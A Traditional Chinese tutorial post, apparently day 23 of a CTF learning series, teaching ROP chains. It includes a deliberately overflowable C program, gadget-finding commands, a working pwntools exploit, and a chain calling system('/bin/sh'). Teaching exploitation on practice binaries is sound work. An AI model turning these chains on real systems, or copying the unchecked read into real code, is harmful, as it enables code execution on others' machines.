iT邦幫忙

2026 iThome 鐵人賽

DAY 23
0

前面我們已經知道,只要能控制 RIP,就可以決定程式接下來執行哪裡。但如果 Binary 開了 NX,Stack 不能執行,傳統把 Shellcode 塞進 Stack 再跳過去的打法就行不通了。

今天要介紹的 ROP(Return-Oriented Programming),正是在這個限制下最核心的利用技術。


0x01 Gadget 與 ROP Chain

不能執行自己注入的 Shellcode,那能不能用程式本來就有的 Code?答案是可以。

假設程式裡散落著這些短小的指令片段:

pop rdi       pop rsi       pop rax
ret           ret           ret

這種通常以 ret 結尾的指令片段就叫 Gadget。ROP 的核心概念很直覺:把這些小段指令串起來,組合成我們想要的行為——像拼樂高一樣。

為什麼幾乎都以 ret 結尾?因為 ret 本質上等於 pop rip,它會從 Stack 頂端取出一個值塞進 RIP。這讓 Gadget 之間可以自動銜接:A 的 ret 跳到 B,B 的 ret 跳到 C,整串接起來就是一條 ROP Chain。


0x02 為什麼 pop rdi ; ret 這麼常見?

x86-64 Linux 呼叫函式時,前幾個參數透過 Register 傳遞:

第一個參數 -> RDI    第四個參數 -> RCX
第二個參數 -> RSI    第五個參數 -> R8
第三個參數 -> RDX    第六個參數 -> R9

像 puts("Hello") 在 Assembly 層面就是先把字串位址放進 RDI 再 call。但我們只有 Stack Overflow,能控制 RIP 卻沒辦法直接指定 RDI。這時 pop rdi ; ret 就派上用場了——假設 Stack 上排好這樣的佈局:

+----------------------+
| pop rdi ; ret        |  ← RIP 跳到這裡
+----------------------+
| 0x404050             |  ← pop rdi 取出,RDI = 0x404050
+----------------------+
| print_flag           |  ← ret 取出,RIP = print_flag
+----------------------+

走完後等同於 print_flag(0x404050)。這就是 ROP 最基本的操作模式。


0x03 練習題目

#include <stdio.h>
#include <unistd.h>

char message[] = "ROP_IS_FUN";

void print_message(char *msg)
{
    printf("Message: %s\n", msg);
}

void vuln()
{
    char buffer[64];
    puts("Input:");
    read(0, buffer, 200);
}

int main()
{
    vuln();
    return 0;
}

buffer 64 bytes,read 卻允許 200 bytes,標準的 Stack Buffer Overflow。編譯時關掉 Canary 和 PIE:

gcc chall.c -o chall -fno-stack-protector -no-pie

checksec 確認 NX enabled——這次不在 Stack 上執行任何東西。


0x04 找 Offset 與 Gadget

Offset 的找法跟前幾天一樣,Cyclic Pattern 丟進去算出 offset = 72。

接著用 ROPgadget 找 Gadget:

ROPgadget --binary ./chall | grep "pop rdi"
# 0x00000000004011d3 : pop rdi ; ret

再用 nm 找出需要的位址:

nm ./chall | grep message
# 0000000000404030 D message
# 0000000000401156 T print_message

三個地址都到手,可以開始組 Chain。


0x05 手刻第一條 ROP Chain

目標是執行 print_message(message)。第一個參數走 RDI,所以先把 message 放進 RDI,再跳到 print_message:

+--------------------------+
| padding (72 bytes)       |
+--------------------------+
| pop rdi ; ret            |
+--------------------------+
| address of message       |
+--------------------------+
| print_message            |
+--------------------------+

Exploit:

from pwn import *

context.arch = "amd64"

elf = ELF("./chall")
p = process("./chall")

offset = 72
pop_rdi = 0x4011d3

payload = flat(
    b"A" * offset,
    pop_rdi,
    elf.sym["message"],
    elf.sym["print_message"]
)

p.sendline(payload)
p.interactive()

順利的話會看到 Message: ROP_IS_FUN。


0x06 CPU 視角的逐步追蹤

72 bytes 的 A 蓋過 Buffer 和 Saved RBP,把 Saved RIP 覆寫成 pop rdi ; ret 的位址。函式結尾 ret 跳過去後:

  1. pop rdi 從 Stack 取出 message 的位址 → RDI = message
  2. ret 取出 print_message 的位址 → RIP = print_message

整個過程沒有執行任何注入的 Machine Code,純粹是重新排列 Binary 裡原有的指令。


0x07 用 Pwntools 找 Gadget 與自動組 Chain

Pwntools 內建 ROP 功能,不用把位址寫死:

elf = ELF("./chall")
rop = ROP(elf)
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]

甚至可以讓它自動產生整條 Chain:

rop = ROP(elf)
rop.call(elf.sym["print_message"], [elf.sym["message"]])

payload = flat(b"A" * offset, rop.chain())

不過剛開始學的時候,建議先手刻幾次。直接用 rop.call() 很容易停在「它可以動,可是我不知道為什麼」的階段。


0x08 串接多次呼叫與多參數

ROP Chain 可以一直往下串,連續呼叫多個函式:

pop rdi ; ret        pop rdi ; ret        pop rdi ; ret
argument1            argument2            argument3
function1            function2            function3

如果要傳兩個參數,找到 pop rsi ; ret 就能控制第二個。像 foo(a, b) 的 Chain:

pop rdi ; ret → a → pop rsi ; ret → b → foo

0x09 Stack Alignment

有時 ROP Chain 邏輯完全正確,呼叫 libc function 卻 Crash。常見原因是 Stack Alignment——x86-64 ABI 要求某些函式的 RSP 維持 16-byte 對齊,ROP 過程中反覆 ret 有時會破壞它。

修法很簡單,在 Chain 前面多塞一個 ret:

ret = rop.find_gadget(["ret"])[0]

payload = flat(
    b"A" * offset,
    ret,            # 修正 alignment
    pop_rdi, binsh, system
)

Writeup 裡看到莫名多出來的 ret,通常就是在處理這個。


0x0A ROP vs ret2win

ret2win 只需要一個位址就能跳到 win(),是最簡單的 Code Reuse。ROP 則更進一步,開始控制 Register、函式參數、串出完整的執行流程。

可以把 ret2win 想成「控制 RIP 的入門」,ROP 是「開始真正用控制 RIP 來編程」。


0x0B ROP 的思考方式

學 ROP 最重要的不是背 pop rdi ; ret,而是改變看待 Binary 的方式。逆向在問「這些指令原本想做什麼?」,ROP 在問「這些指令還可以被我拿來做什麼?」

看到 pop rdi ; ret 就是「我可以控制 RDI」。看到 pop rsi ; ret 就是「我可以控制 RSI」。同一份 Binary,從逆向和利用的角度看是兩個完全不同的問題。這也是 Rev 和 Pwn 真正接在一起的地方。


0x0C 小結

ROP 的精神主打就是一個:不需要注入新的程式碼,只要重新排列程式原本就存在的指令,也能完成攻擊。

不過今天的範例有個限制:我們直接用了 Binary 裡已有的函式和字串。實際題目通常不會這麼好心——如果沒有 win() 也沒有能直接拿 Shell 的函式,該怎麼辦?

Linux Process 幾乎一定會載入 libc,裡面就有 system() 和 "/bin/sh"。如果能找到它們的位址,就有機會組出 system("/bin/sh")。

這就是明天的主題:ret2libc。到了 ret2libc,ROP、libc、Information Leak、ASLR 這幾個概念會開始串在一起。


上一篇
Day22|Binary Protections
下一篇
Day24|ret2libc
系列文
從零開始の Binary CTF:30 天系統化學習 Rev & Pwn 共 24 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言